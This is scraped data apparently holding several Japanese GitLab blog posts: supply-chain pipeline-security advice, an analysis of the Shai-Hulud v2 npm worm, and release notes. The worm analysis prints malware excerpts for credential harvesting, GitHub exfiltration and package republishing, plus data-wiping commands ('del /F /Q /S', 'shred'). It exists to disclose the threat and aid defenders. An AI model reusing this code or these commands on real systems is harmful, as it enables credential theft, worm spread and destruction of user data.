Securityのローテーションはアトミックではなく、攻撃者は古いトークンが完全に失効する前に新たに発行されたトークンを取得しました。GitLabのシークレット検出には、漏洩したGitLabトークンの自動失効機能と、サードパーティプロバイダーへの認証情報失効通知を行うパートナーAPIが含まれており、侵害発生時の対応を迅速化します。\n* シークレット検出と適切なシークレット管理（短命トークン、Vault基盤の認証情報、パイプラインシークレットへの最小限の露出）を組み合わせることで、信頼済みツールが悪意を持つ動作をした場合でも、攻撃者がアクセスできる範囲を制限します。\n\n### ソフトウェアコンポジション解析（SCA）による依存関係スキャン\n\nGitLabの[依存関係スキャン](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/)は、ロックファイルとマニフェストを解析することで、プロジェクトの依存関係における既知の脆弱性を特定します。2026年3月の攻撃の文脈では：\n\n* LiteLLMについては、侵害されたバージョン（1.82.7、1.82.8）がGitLabのアドバイザリデータベースで追跡されており、影響を受けるPythonプロジェクトに自動的にフラグを立てます。\n* axiosについては、依存関係スキャンが組織内のすべてのプロジェクトで侵害されたバージョン（1.14.1、0.30.4）を特定し、セキュリティチームに影響範囲の評価と認証情報ローテーションの優先順位付けのための一元的なビューを提供します。\n* 同様に、TeamPCPのCanisterWorm伝播によって侵害されたすべてのnpmパッケージも、使用されている場合はフラグが立てられます。\n\n[GitLabコンテナスキャン](https://docs.gitlab.com/ja-jp/user/application_security/container_scanning/)は、デプロイメントで使用される脆弱なコンテナイメージを検出します。Trivyの侵害については、コンテナスキャンがコンテナレジストリまたはデプロイメントマニフェストに現れたトロイの木馬化されたTrivyのDockerイメージ（0.69.4〜0.69.6）にフラグを立てます。\n\n### マージリクエスト承認ポリシー\n\n[マージリクエスト承認ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/merge_request_approval_policies/)は、依存関係のロックファイルやCI/CD設定への変更がマージされる前にセキュリティチームの承認を必須とすることができます。これにより、サプライチェーン攻撃が一般的に導入する種類の変更に対して、人間によるチェックポイントが確保されます。\n\n### 近日公開予定：依存関係ファイアウォール、アーティファクトレジストリ、SLSAレベル3の認証と検証\n\n今後予定されているGitLabのサプライチェーンセキュリティ機能は、レジストリとパイプラインという2つの重要なコントロールポイントにおけるポリシー適用を強化します。依存関係ファイアウォールとアーティファクトレジストリは非準拠のパッケージをブロックし、SLSAレベル3の認証によってアーティファクトが承認されたパイプラインで生成され、改ざんされていないという暗号学的な証明が提供されます。これらを組み合わせることで、セキュリティチームはソフトウェアサプライチェーンへの入出力を検証可能な形で管理できるようになります。\n\n## あなたの組織にとっての意味\n\nAI支援型の脅威が高まる中、CI/CDパイプラインへの攻撃はますます一般的になっています。TeamPCPのキャンペーンは、1つの侵害された認証情報が信頼済みツールのエコシステム全体にどう波及するかを示しています。\n\n影響を受けたコンポーネントを使用していた場合は、すべてのパイプラインシークレットが露出したという前提で行動してください。直ちにローテーションし、永続的なバックドアがないかシステムを監査してください。いずれの場合も、認証情報を定期的にローテーションし、短命トークンを使用することで、将来の侵害のブラスト半径を制限できます。\n\n推奨事項をまとめます：\n\n1. **可能な限り、依存関係をチェックサムにピン留めしてください。** TeamPCPが悪用した可変バージョンタグは、セキュリティ境界ではありません。すべての[CI/CDコンポーネント](https://docs.gitlab.com/ja-jp/ci/components/#manage-dependencies)、アクション、コンテナイメージにはSHAピン留め参照を使用してください。\n2. **実行前の整合性チェックを実行してください。** パイプライン実行ポリシーを使用して、パイプラインジョブが実行される*前*にツールと依存関係の整合性を確認してください。これが`.pipeline-policy-pre`ステージです。\n3. **公開するものを監査してください。** すべてのパッケージ公開ステップには、アーティファクトの内容を自動検証する処理を含めてください。ソースマップ、環境ファイル、内部設定はビルド環境から外部に出すべきではありません。[Supply Chain Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)プロジェクトは、npm、Docker、Helmアーティファクトのすぐにデプロイできる出発点を提供しています。\n4. **依存関係のドリフトを検出してください。** すべてのパイプライン実行において、依存関係の解決結果をコミット済みロックファイルと比較してください。予期しない新しい依存関係を監視します。\n5. **ポリシー管理を集中化してください。** セキュリティチェックを含めることを開発者の記憶に頼らないでください。開発者が削除やスキップをできないポリシーを通じて、グループまたはインスタンスレベルで適用してください。\n6. **セキュリティツール自体が標的になると想定してください。** 脆弱性スキャナー、静的アプリケーションセキュリティテスト（SAST）ツール、AIゲートウェイは侵害される可能性があります。各ツールの権限は最低限必要なものに限定し、その他へのアクセスが不可能であることを確認してください。\n\n## GitLabでパイプラインを保護する\n\n2週間にわたり、攻撃者はソフトウェア開発エコシステムで最も広く採用されているツールの一部を使用している組織の本番パイプラインを侵害しました。\n\n教訓は明確です。ビルドパイプラインには、ネットワークやクラウドインフラに適用するのと同じレベルの集中管理されたポリシー駆動の保護が必要です。\n\nGitLabパイプライン実行ポリシーは、その適用レイヤーを提供します。個々のプロジェクト設定に関わらず、すべてのプロジェクトのすべてのパイプラインでセキュリティチェックが実行されることを保証します。依存関係スキャン、シークレット検出、マージリクエスト承認ポリシーと組み合わせることで、2026年3月に見られたクラスの攻撃をブロック、検出、封じ込めることができます。\n\n[Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)プロジェクトは、大手AI企業の流出事故の背後にある種類のエラーを正確に検出する、動作するパイプライン実行ポリシーを提供しています。npmパッケージ、Dockerイメージ、Helmチャートに対応しています。クローンして、グループにデプロイし、今後のサプライチェーン攻撃に備えてすべてのパイプラインを準備してください。\n\n集中管理されたパイプラインポリシーを始めるには、[GitLab Ultimateの無料トライアル](https://about.gitlab.com/ja-jp/free-trial/devsecops/)にサインアップしてください。\n\n*このブログ記事には、1933年証券法第27A条（改正済み）および1934年証券取引法第21E条の意味における「将来の見通しに関する記述」が含まれています。これらの記述に反映された予想は合理的であると信じておりますが、実際の結果や成果を大幅に異なるものにする可能性のある既知および未知のリスク、不確実性、前提条件、その他の要素の影響を受けることがあります。これらのリスクおよびその他の要素に関するさらなる情報は、SECへの提出書類の「リスク要因」という見出しの下に記載されています。法律で要求される場合を除き、このブログ投稿の日付以降にこれらの記述を更新または修正する義務を負いません。*",[1173],"Grant Hickman","2026-04-07","3月のサプライチェーン攻撃から学ぶパイプラインセキュリティ",[757,745,822,793],"2026年3月、Trivy・Checkmarx KICS・LiteLLM・axiosが次々と侵害されました。GitLabの集中管理されたパイプライン実行ポリシーが、これらのサプライチェーン攻撃パターンをどのように検出・ブロックできるかをご紹介します。",{"featured":641,"template":796,"slug":1179},"pipeline-security-lessons-from-march-supply-chain-incidents",{"content":1181,"config":1192},{"heroImage":1182,"body":1183,"authors":1184,"updatedDate":1004,"date":1187,"title":1188,"tags":1189,"description":1191,"category":769},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。\n\n初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「**デッドマンスイッチ**」メカニズムが含まれていることが判明しました。\n\n**GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。**\n\n## 攻撃の内部\n\n当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。\n\n* GitHub、npm、AWS、GCP、Azureから認証情報を収集\n* 盗まれたデータを攻撃者が管理するGitHubリポジトリに流出\n* 被害者が所有する他のパッケージを自動的に感染させることで伝播\n* **マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む**\n\n複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。\n\n## 技術的分析:攻撃の展開プロセス\n\n![攻撃の展開プロセスを示すMermaidチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### 初期感染ベクトル\n\nマルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、`setup_bun.js`を参照するpreinstallスクリプトを含む、変更された`package.json`が含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。\n\n```javascript\n// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // bunをダウンロードしてインストールします\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // 実際のマルウェアを実行します\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\n`setup_bun.js`ローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされた`bun_environment.js`ペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。\n\n### 認証情報の収集\n\n実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。\n\n* **GitHubトークン**:環境変数とGitHub CLI構成を検索し、`ghp_`(GitHub個人アクセストークン)または`gho_`(GitHub OAuthトークン)で始まるトークンを探します\n* **クラウド認証情報**:公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します\n* **npmトークン**:`.npmrc`ファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です\n* **ファイルシステムスキャン**:正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // ユーザーのホームディレクトリでシークレットをスキャンします\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // 検出結果を流出用リポジトリにアップロードします\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### データ流出ネットワーク\n\nマルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。\n\n```javascript\nasync function createRepo(name) {\n  // 特定の説明マーカーを持つリポジトリを作成します\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // 後でリポジトリを見つけるためのマーカー\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // 永続性のためにGitHub Actions Runnerをインストールします\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // セルフホストRunnerをインストールします\n  }\n\n  return repo;\n}\n```\n\n重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。\n\n```javascript\n// マルウェアネットワークがトークンを共有する方法:\nasync fetchToken() {\n  // 識別マーカーを持つリポジトリをGitHubで検索します\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // 侵害されたリポジトリからトークンを取得しようとします\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // 別の感染したシステムのトークンを使用します\n    }\n  }\n  return null;  // ネットワーク内に有効なトークンが見つかりませんでした\n}\n```\n\n### サプライチェーン伝播\n\n盗まれたnpmトークンを使用して、マルウェアは次のことを行います。\n\n1. 被害者が保守するすべてのパッケージをダウンロード\n2. 各パッケージのpreinstallスクリプトに`setup_bun.js`ローダーを注入\n3. 悪意のある`bun_environment.js`ペイロードをバンドル\n4. パッケージのバージョン番号をインクリメント\n5. 感染したパッケージをnpmに再公開\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // 元のパッケージをダウンロードします\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // package.jsonを抽出して変更します\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // 悪意のあるpreinstallスクリプトを追加します\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // バージョンをインクリメントします\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // バックドアインストーラーをバンドルします\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // 再パッケージ化して公開します\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## デッドマンスイッチ\n\n当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。\n\nマルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、`shred`を使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。\n\n```javascript\n// 重要:トークンの検証失敗が破壊をトリガーします\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // GitHubアクセスを見つけるか作成しようとします\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します\n\n    if (!fetchedToken) {  // GitHubアクセスが不可能です\n      if (npmToken) {\n        // npmの伝播のみにフォールバックします\n        await El(npmToken);\n      } else {\n        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // 削除されたデータを上書きします\n          ]);\n        } else {\n          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // 上書きして削除します\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 空のディレクトリを削除します\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nこれにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。\n\n## 侵害の痕跡\n\n検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。\n\n| タイプ        | 痕跡                                           | 説明                                         |\n| ---------- | -------------------------------------------- | ------------------------------------------ |\n| **ファイル**   | `bun_environment.js`                         | node_modulesディレクトリ内の悪意のあるpost-installスクリプト |\n| **ディレクトリ** | `.truffler-cache/`                           | Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ |\n| **ディレクトリ** | `.truffler-cache/extract/`                   | バイナリ抽出に使用される一時ディレクトリ                       |\n| **ファイル**   | `.truffler-cache/trufflehog`                 | ダウンロードされたTrufflehogバイナリ(Linux/Mac)         |\n| **ファイル**   | `.truffler-cache/trufflehog.exe`             | ダウンロードされたTrufflehogバイナリ(Windows)           |\n| **プロセス**   | `del /F /Q /S \"%USERPROFILE%*\"`              | Windowsの破壊的ペイロードコマンド                       |\n| **プロセス**   | `shred -uvz -n 1`                            | Linux/Macの破壊的ペイロードコマンド                     |\n| **プロセス**   | `cipher /W:%USERPROFILE%`                    | ペイロード内のWindows安全削除コマンド                     |\n| **コマンド**   | `curl -fsSL https://bun.sh/install \\| bash`   | npmパッケージインストール中の不審なBunインストール               |\n| **コマンド**   | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | PowerShell経由のWindowsBunインストール              |\n\n## GitLabでこのマルウェアキャンペーンを検出する方法\n\nGitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。\n\nまず、**[依存関係スキャン](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/)**を有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。** `package-lock.json`または`yarn.lock`ファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。** 完全なセットアップ手順については、[依存関係スキャンのドキュメント](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer)を参照してください。\n\n有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。\n\n次に、**[GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/)** を依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンから[セキュリティアナリストエージェント](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)を選択し、次のような質問をするだけです。\n\n* 「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「JavaScript依存関係の重大な脆弱性を表示してください。」\n\nエージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。\n\n![GitLabセキュリティアナリストエージェントの検出結果](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png)\n\n多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。\n\n## 今後の展望\n\nこのキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。\n\nGitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。",[1185,1186],"Michael Henriksen","Daniel Abeles","2025-11-24","GitLabがnpmサプライチェーンへの大規模攻撃を発見",[757,1190],"security research","攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。",{"featured":13,"template":796,"slug":1193},"gitlab-discovers-widespread-npm-supply-chain-attack",{"content":1195,"config":1198},{"category":680,"date":876,"authors":1196,"title":913,"body":914,"tags":1197,"description":918,"heroImage":919},[912],[806,88,916,695,257,757,917],{"featured":13,"template":796,"slug":921},[1200,1205,1210],{"content":1201,"config":1204},{"heroImage":1101,"body":1102,"authors":1202,"updatedDate":876,"date":877,"title":1104,"tags":1203,"description":1106,"category":745},[912],[1041,806,745,88],{"featured":641,"template":796,"slug":1108},{"content":1206,"config":1209},{"heroImage":1101,"body":1111,"authors":1207,"updatedDate":876,"date":877,"title":1114,"tags":1208,"description":1116,"category":745},[1113],[745,806,719],{"featured":641,"template":796,"slug":1118},{"content":1211,"config":1214},{"category":693,"date":877,"authors":1212,"tags":1213,"body":952,"title":953,"description":954,"heroImage":955},[912],[806,951,916,821,252,757,917],{"featured":13,"template":796,"slug":957},[1216,1221,1230],{"content":1217,"config":1220},{"heroImage":1101,"body":1121,"authors":1218,"updatedDate":876,"date":877,"title":1124,"tags":1219,"description":1126,"category":745},[1123],[806,793,745],{"featured":13,"template":796,"slug":1128},{"content":1222,"config":1228},{"heroImage":1101,"body":1223,"authors":1224,"updatedDate":876,"date":877,"title":1225,"tags":1226,"description":1227,"category":745},"AIはどのセキュリティチームがレビューできるよりも速くコードを生成しています。かつては管理可能だった静的アプリケーションセキュリティテスト（SAST）の脆弱性バックログは、今や解析が困難なほど膨大なリストへと膨れ上がっています。デベロッパーが1件ずつ手作業で調査・修正することを期待するのは、プロセスとは言えません。それはボトルネックです。答えは人的労力を増やすことではなく、自律型パイプラインです。GitLab Duo Agent Platform内の[Agentic SAST脆弱性解決機能](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/agentic_vulnerability_resolution/)は、まさにその課題のために構築されました。\n\n一般提供（GA）となったAgentic SAST脆弱性解決機能は、SAST脆弱性を修正するマージ可能なコードフィックスを自動生成します。この機能により：\n\n* デベロッパーはフローを維持できます\n* 脆弱性は本番環境に到達する前に解決されます\n* AppSecチームはトリアージと、修正完了の確認のためにデベロッパーを追いかける時間を削減できます\n\nAgentic SAST脆弱性解決機能は、アプリケーションセキュリティの未来形です。GitLab 18.11はさらに、より高速なSASTスキャン、スマートな優先順位付け、プラットフォーム全体にわたる強力なガバナンスも提供します。\n\n## フローを維持したまま自動修正\n\nAIがコードを大規模に生成するようになると、状況が一変します。かつて線形に増加していたセキュリティバックログは、AIアシストによるコミットのたびに複利で積み重なります。デベロッパーに頭の切り替えを強いて手動で脆弱性を修正させ続けるだけでは、この問題は解決しません。[GitLabの2025 DevSecOpsレポート](https://about.gitlab.com/ja-jp/resources/developer-survey/)によると、デベロッパーはすでに月あたり11時間を、リリース後の脆弱性修正（つまり、新しい機能の開発ではなく、すでに本番環境で悪用可能な問題の対処）に費やしています。\n\nAgentic SAST脆弱性解決機能は、そのサイクルの経済性を変えます。SASTスキャンが完了すると、検出結果が自動的に[SAST誤検出検知](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/false_positive_detection/)フローを開始します。真陽性と確認されたものは直接Agentic SAST脆弱性解決フローへと送られ、GitLab Duo Agent Platformが以下を実行します：\n\n* 脆弱性をコンテキストを踏まえて分析\n* 根本原因に対処する修正を生成\n* 自動テストによって修正を検証\n\nデベロッパーは信頼スコア付きのマージ可能なマージリクエストを受け取り、脆弱性の修正方法について十分な情報に基づいた判断を下せます。スプリントはスケジュール通りに進み、デベロッパーはフローを維持し、脆弱性は本番環境に到達する前に解決されます。\n\nソフトウェア開発の加速は、スキャナーの待ち時間をなくすことも意味します。GitLab 18.11では[Advanced SASTのインクリメンタルスキャン](https://docs.gitlab.com/ja-jp/user/application_security/sast/gitlab_advanced_sast/#incremental-scanning)が導入され、デベロッパーはフルスキャンの完了を待たずに脆弱性の結果を確認でき、パイプラインも止まりません。\n\u003Ciframe src=\"https://player.vimeo.com/video/1183195999?badge=0&autopause=0&player_id=0&app_id=58479%2Fembed\" allow=\"autoplay; fullscreen; picture-in-picture\" allowfullscreen=\"\" frameborder=\"0\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\">\u003C/iframe>\n\n\n## スコアではなく、ビジネスリスクで修正の優先順位を決める\n\n自律型修正が機能するのは、その判断の根拠となるシグナルが信頼できる場合に限ります。重大度スコアが実際の悪用可能性を反映していない場合、デベロッパーはシグナルを信頼しなくなり、無視し始めます。\n\nGitLab 18.11は、この問題に4つのレベルで対処します。まず、[脆弱性スコア](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/severities/#critical-severity)が現在最も新しい業界標準であるCVSS 4.0に基づくようになりました。より細かい指標によって実際の悪用可能性が的確に評価されます。GitLabに表示されるスコアは、現実世界のリスクを測る現行の業界標準を反映しています。\n\n次に、AppSecチームは[ポリシーベースのルール](https://docs.gitlab.com/ja-jp/user/application_security/policies/vulnerability_management_policy/#severity-override-policies)を定義でき、CVE（共通脆弱性識別子）、CWE（共通脆弱性タイプ一覧）、ファイルパス/ディレクトリなどのシグナルに基づいて脆弱性の重大度スコアを自動的に調整できます。ポリシーが設定されると、重大度の上書きがただちに適用されるため、デベロッパーはスキャナーの生データではなく、実際のビジネスリスクを反映したバックログをもとに作業できます。\n\nリスクベースの適用はバックログにとどまりません。AppSecチームは、KEV（既知の悪用脆弱性）ステータスやEPSS（悪用予測スコアリングシステム）スコアのしきい値に基づいてマージをブロックまたは警告する[承認ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/merge_request_approval_policies/#vulnerability_attributes-object)を設定できます。マージがブロックされた際、デベロッパーはその脆弱性が自分の環境を考慮していないスコアではなく、現実世界の悪用可能性データに基づいていることを把握できます。\n\n最後に、[新しい「上位CWE」セキュリティダッシュボードチャート](https://docs.gitlab.com/ja-jp/user/application_security/security_dashboard/#top-10-cwes)により、プロジェクト全体でどの脆弱性クラスが最も頻繁に出現しているかを把握できます。個々の検出結果を追いかけるのではなく、パターンを特定し、根本原因レベルで優先順位を付け、複利的に積み重なる前にシステム的なリスクに対処できます。\n\n## 運用オーバーヘッドを抑えながらセキュリティコントロールを強化\n\n自律型修正パイプラインの品質は、その下支えとなるセキュリティスキャナーのカバレッジに依存します。スキャナーの適用が一貫していなければ、パイプラインに流れ込む検出結果は不完全となり、修正も同様に不完全になります。\n\nGitLab 18.11では、[Security Manager](https://docs.gitlab.com/ja-jp/user/permissions/#default-roles)という、セキュリティ担当者向けに特化して設計された新しいデフォルトロールが導入されます。Security Managerロールにより、セキュリティチームはコードの変更やデプロイ権限なしに、セキュリティスキャナーの適用、セキュリティポリシーの定義と設定、脆弱性のトリアージ・修正ワークフローの管理、コンプライアンスフレームワークと監査ストリームの維持が可能になります。セキュリティチームは業務に必要なアクセス権のみを持ち、コードとデプロイの権限はデベロッパーに維持されます。\n\nAppSecチームにとって、複数のプロジェクトとグループにわたって一貫したSASTスキャナーのカバレッジを確保することが、大幅に容易になりました。[SASTコンフィギュレーションプロファイル](https://docs.gitlab.com/ja-jp/user/application_security/configuration/security_configuration_profiles/)により、セキュリティチームは一箇所でスキャン設定を定義し、1回の操作でグループ内の全プロジェクトに適用できます。チームはもはや、YAMLポリシーファイルの作成と維持、デベロッパーへのスキャナー設定依頼、各プロジェクトのカバレッジギャップの手動確認を行う必要はありません。\n\n## エージェント型脆弱性修正を今すぐ始める\n\nGitLab 18.11は、1つのプラットフォームで脆弱性ワークフローの全体像を提供します：脆弱性を自動修正するAI、脆弱性ノイズを解消するスマートな優先順位付け、そしてセキュリティチームに適切なアクセス権とカバレッジをスケールで提供するガバナンスコントロールです。\n\n> GitLab Duo Agent Platformがどのようにして自動修正をデベロッパーのワークフローに直接組み込むかを確認するには、[今すぐGitLab Ultimateの無料トライアルを開始してください](https://about.gitlab.com/ja-jp/free-trial/?utm_medium=blog&utm_source=blog&utm_campaign=eg_apac_brand_x_x_ja_gitlabjapanblogseo_automate-remediation-with-ready-to-merge-ai-code-fixes)。",[1135],"GitLab 18.11：マージ可能なAIコード修正で脆弱性修正を自動化",[757,806,745,793],"GitLab 18.11でAgentic SAST脆弱性解決機能が一般提供（GA）となり、セキュリティボトルネックを解消します。",{"featured":641,"template":796,"slug":1229},"automate-remediation-with-ready-to-merge-ai-code-fixes",{"content":1231,"config":1240},{"date":1232,"body":1233,"category":745,"tags":1234,"authors":1235,"title":1237,"description":1238,"heroImage":1239},"2026-04-15","GitLab 17.0では80件、GitLab 18.0では27件の破壊的な変更がありました。次期リリースのGitLab 19.0では、15件になる見込みです。\n\nメジャーアップグレードにおける破壊的な変更の管理は、組織全体にわたる調査と調整が必要なため、時間がかかることはよく理解しています。そのため、[破壊的な変更承認要件](https://docs.gitlab.com/development/deprecation_guidelines/#how-do-i-get-approval-to-move-forward-with-a-breaking-change)を導入しました。この要件により、破壊的な変更を進める前に、影響の軽減策と上位承認が必須となります。このプロセスは機能しており、件数をさらに削減するための取り組みを続けています。\n\n以下に、GitLab 19.0のすべての破壊的な変更をデプロイタイプと影響度別に整理しています。自信を持ってアップグレードするために必要な軽減手順も併せてご確認ください。\n\n## デプロイウィンドウ\n\n知っておくべきデプロイウィンドウは以下のとおりです。\n \n### GitLab.com\n \nGitLab.comへの破壊的な変更は、次の2つのウィンドウに限定されます。\n \n- **2026年5月4日〜6日**（09:00〜22:00 UTC）— メインウィンドウ\n- **2026年5月11日〜13日**（09:00〜22:00 UTC）— コンティンジェンシーフォールバック\n \nその他の多くの変更は、月内を通じて引き続きロールアウトされます。各ウィンドウで発生する破壊的な変更の詳細については、[破壊的な変更のドキュメント](https://docs.gitlab.com/update/breaking_windows/)をご覧ください。\n \n**注意：** 